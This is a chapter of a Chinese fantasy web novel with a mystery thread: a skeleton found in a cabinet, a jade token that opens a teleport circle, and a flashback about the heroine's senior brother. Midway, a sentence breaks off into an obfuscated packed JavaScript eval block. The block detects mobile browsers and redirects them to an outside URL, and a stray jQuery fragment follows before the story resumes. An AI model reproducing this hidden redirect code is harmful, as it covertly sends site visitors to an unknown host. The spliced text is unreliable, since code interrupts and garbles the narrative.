第二十一章
白骨蜷缩在四四方方的橱柜当中,以一个极为扭曲的弧度塞在小小的空间中。
脚边,有一块玉牌,上面印了柳一字。
“看来死的是柳家的人。”周玉淋盯着白骨,脑袋里骤然冒出了一个奇怪的问题,“为什么他的衣服没了,只有一堆白骨躺在里面?”
江藏化猜测,沉吟道,“大概是穿着衣服会放不进来,所以就把衣服脱下。所以很有可能是大冬天死的,衣服很厚,这个柜子压根就塞不下。”
“说不定是凶手害怕以后的人根据死者的服装判断出对方的身份?”陈暮摇从门口走进来。
“发簪,服饰的好坏往往就可以判断出一个人的身份高低和权贵。”陈暮摇指着白骨,一点点,慢条斯理地解释开,“这具白骨除了衣服,也没有鞋子,任何装饰,更有意思的是。”
陈暮摇的手在白骨的牙齿上画个圈,“这里缺了颗牙。”
谷陵不解地问,“这能说明什么?死者之前摔过跤,或者被人打过脸?”
周玉淋噗嗤一声笑的勾着谷陵的肩,“谷陵啊,人家都让你看牙齿了,不觉得这颗牙齿和普通牙齿有什么其他不一样的地方?”
谷陵鼓起勇气,凑近了几分这才看清,这剩下的还有半颗牙齿,而非掉了一整颗牙齿,不由得惊呼出生,“这……!”
“确实外力条件下牙齿会掉落,可是也是一整颗掉落而非半颗,自然达成的难度可太大了,所以,多半是人干的。”
陈暮摇点头,“不错,如果是这样,那么我更偏向于眼前的死者是这儿的主人,而且应当还是个大腹便便的男子。”
谷陵又不懂了,“为什么就得出是柳老爷呢?为什么不能是外来的人啊?”
周玉淋没想到谷陵问的问题还挺有水准,不过,她想得和陈暮摇确实差不多,开口“谷陵,我问你一个问题。你作为一个主人,难道会将自己所杀害的人的尸骨放在如此明显但凡有手就可以打开的柜子里吗?你不会。”
周玉淋笃定道,“因为这里是你的家,你一定会找一个平日里人都注意不到的地方藏起来。可是如果你是个外人,慌乱之中杀了主人后,下意识藏入柜子里不被别人看见,是一种惯性思维。”
江藏化站在一旁,越看地上蹲着查看尸骨的两只越有CP感,后知后觉意识到——
救命,智性恋才是yyds好吗!
你说她解释的模式我简直太爱了有木有!
他忍住自己拿起笔写个一万字的冲动,拉起谷陵的手耳语,“你别问了,这样会显得你很笨诶。”
谷陵:……我只是一个爱好学习知识的宝宝。
陈暮摇说到这里,拿起白骨旁边的玉佩,印有柳字的翡翠玉佩。
这个玉佩的轮廓好像自己在哪个地方见过。
陈暮摇想起大厅的桌子上被牢固定死的石狮子上凹陷的一块。而眼前玉佩的轮廓和石狮子上的大致吻合。
周玉淋看着陈暮摇拿起玉佩的时候就在心里不禁暗暗道,不愧是九星阁出来的人,这气度,这姿态,半点害怕都看不见。
其实周玉淋小的时候还是很怕死人的,那个年龄就要求她进入秘境之中和别人打打杀杀,当时她一不小心捅到一位弟子,害他出局,整整三天,她都在做噩梦。
她就搬了个枕头跑到大师兄那里去,结果空荡的阁楼愣是一个人都看不到,她抱着枕头差点没被这里的冷清吓哭,这时候她听到偏殿传来琴声,带着仅有的胆子她朝偏殿走了过去。
推开门,琴声戛然而止,看着空无一人的偏殿,好家伙,周玉淋的腿直接软了,靠着门柱瘫倒在地上,满脑子的妖魔鬼怪快离开,这时,后面有人轻轻地摸了一下自己的脑袋。
“……大师兄?”
一回头,风光霁月的仙人有了轮廓,玄卿弦失笑,“师妹怎么哭成这个样子?”
周玉淋赶忙抹了一把眼泪,泪汪汪地攥着师兄雪白带着青山松香的衣摆,“师兄为什么这个琴没人弹还会发出声音,太吓人了,呜呜呜呜——”
玄卿弦推开门,眸光碰到古琴的瞬间,暗淡了几分,支起笑意,摸着周玉淋的脑袋,“那你大晚上跑师兄这闹鬼的地方来干什么?嗯?”
玄卿弦的语气很是温柔,甚至这一瞬间,周玉淋都忘记了自己在哭,移开目光,“我在秘境中失手送同门的小师弟出局了……”
“这不怪你。”
“不是的,这次还好是在秘境之中,可倘若以后,我这把剑真得捅向同门,甚至……”说到这,周玉淋抬起头,直视玄卿弦的眼底,“伤害了师兄又该如何?”
“所以小师妹在害怕这件事是吗?”
周玉淋不敢告诉玄卿弦自己做的噩梦,只点头,脸上是藏不住的后怕。
而玄卿弦眼底的深沉与黑夜揉成一片,看不出多余的情绪,只是当周玉淋再抬头,又恢复如常,他的声音如往日般温柔,可多出的情绪当时的周玉淋还不懂,只是后来,才读懂。
是一种上位者对于世间的无奈和妥协,亦或者说,是一个人对于命运多舛的看开和释然。
“周玉淋。”
他从未那么认真严肃叫过她的名字。
“拿出剑,指向我。”
他教着周玉淋拿出剑,指向他的胸膛。
“那就正视自己的恐惧,师妹。逃避永远都不是最优解,终有些事需要你一个人面对。倘若真得有那么一天,那一定是因为那时我们立场相悖。”
说到这儿,他唇角的笑容扩大,俯下身,平视这位不过十岁的小师妹,“别心软,说不定,你能杀死你师兄。”用的是杀死,而非打败。
莫非,他那时就已经料到他以后会入魔?
想到这里的周玉淋觉得毛骨悚然。
师兄能算到自己的结局,那是不是自己的死也在他的计算当中。从江藏化那里,周玉淋打听来了剑宗这几年的近况。
自她死后,剑宗掌门派人将大师兄玄卿弦押送于地牢,谁料,玄卿弦打伤押送的弟子逃跑,至今下落不明。
不少人为周玉淋的死感到悲伤,师父每日魂不守舍,也是那个时候许醉月开始得到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920902|177078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重视。
听说剑宗里一名宗姓弟子,押送玄卿弦途中被对方打伤逃走后,特意请命要去找回玄卿弦,却被掌门驳回了。
剑宗掌门法力修炼最近也出了问题,可怜他大弟子入魔,二弟子失踪,四弟子被大弟子一剑刺死,仅有的三弟子却没有半点想要继承衣钵的心。
反倒对佛门法术颇感兴趣。
周玉淋只想说一句话,三师兄的叛逆期比她的命还要长。
三师兄名叫做聆星,是个淡泊名利的心性,对啥也不感兴趣,说他性子冷淡的话,倒也没有大师兄那么冷淡,一心只在修炼上,说他闹腾吧,也没二师兄天天风风火火关注些八卦的事。
他就是个挺与世无争的人,从小被师父当做儿子来养,对他的要求也很简单,别死就行。
周玉淋是天生的雷灵根,十六岁前破金丹,大师兄十八岁那年破金丹,二师兄二九岁那年破的金丹,而三师兄,据说她死后的第二年,总算极为艰难地突破了金丹。
周玉淋也明白三师兄不想继承的心,所以在二师兄失踪,大师兄入魔后,就拼命修炼,为得就是早点承担起一份责任,可一切……
周玉淋也只能叹一句世事无常了。
“周大美人你别落队了。”谷陵提醒道,“小少爷要去把玉放进石狮子那边了。”
回过神的周玉淋点头应好,跟上了三人的步子,“你唤她美人?”是陈暮摇的声音,语气颇为玩味。
资深颜控谷陵点头,不可置否地夸赞道:“她长得漂亮,自然是唤美人。”
陈暮摇唇角一勾,嘲讽道,“也就徒有其表了。”意思就是说,周玉淋浑身上下也就这一点拿的出手了。
“陈少爷谬赞。”
周玉淋不冷不淡地回怼了过去,“至少我走在街上不会被人叫小白脸。”
陈暮摇嗤笑了一声,没再理会。
不出他的意料,这玉可以严丝合缝地放进这凹陷,玉合上后一个光阵浮现在众人眼前,对于周玉淋和江藏化可谓是熟悉至极。
周玉淋愕然,这里怎么会有传送阵?
没来得及阻止,几人瞬间消失在荒凉的森林深处,与此同时的另外一边,阴阳灵台高处站着一个白发苍苍的老人,她穿着开叉到大腿根的深紫色衣袍,手上挥舞着桃木做的法杖,嘴里神神叨叨地念叨着什么古老的口诀。
“阿婆,向上苍求男人真的会灵验吗?”
已经盯着看阿婆跳了三天三夜的余桃儿顶着黑眼圈真诚地发问,“要不我们还是去合欢宗……”
轰隆一声,还真有东西不偏不倚地掉落在了法阵中央,“上苍灵验了!感谢上苍恩赐!感谢上苍恩赐!”看见阿婆欣喜若狂的样子,余桃儿好奇地上前查看,嚯!竟然真是个俊郎阳气十足的男人。
不过,余桃儿惋惜地摇了摇头,唏嘘道也就珍惜珍惜现在还阳气十足的样子了,阿婆已经十年没开荤,半刻钟后这人未必还能活蹦乱跳地活着。
掉下来的这个幸运儿不是别人,恰恰就是江藏化,昏迷之余,这人还不忘抱紧自己胸口的剧本。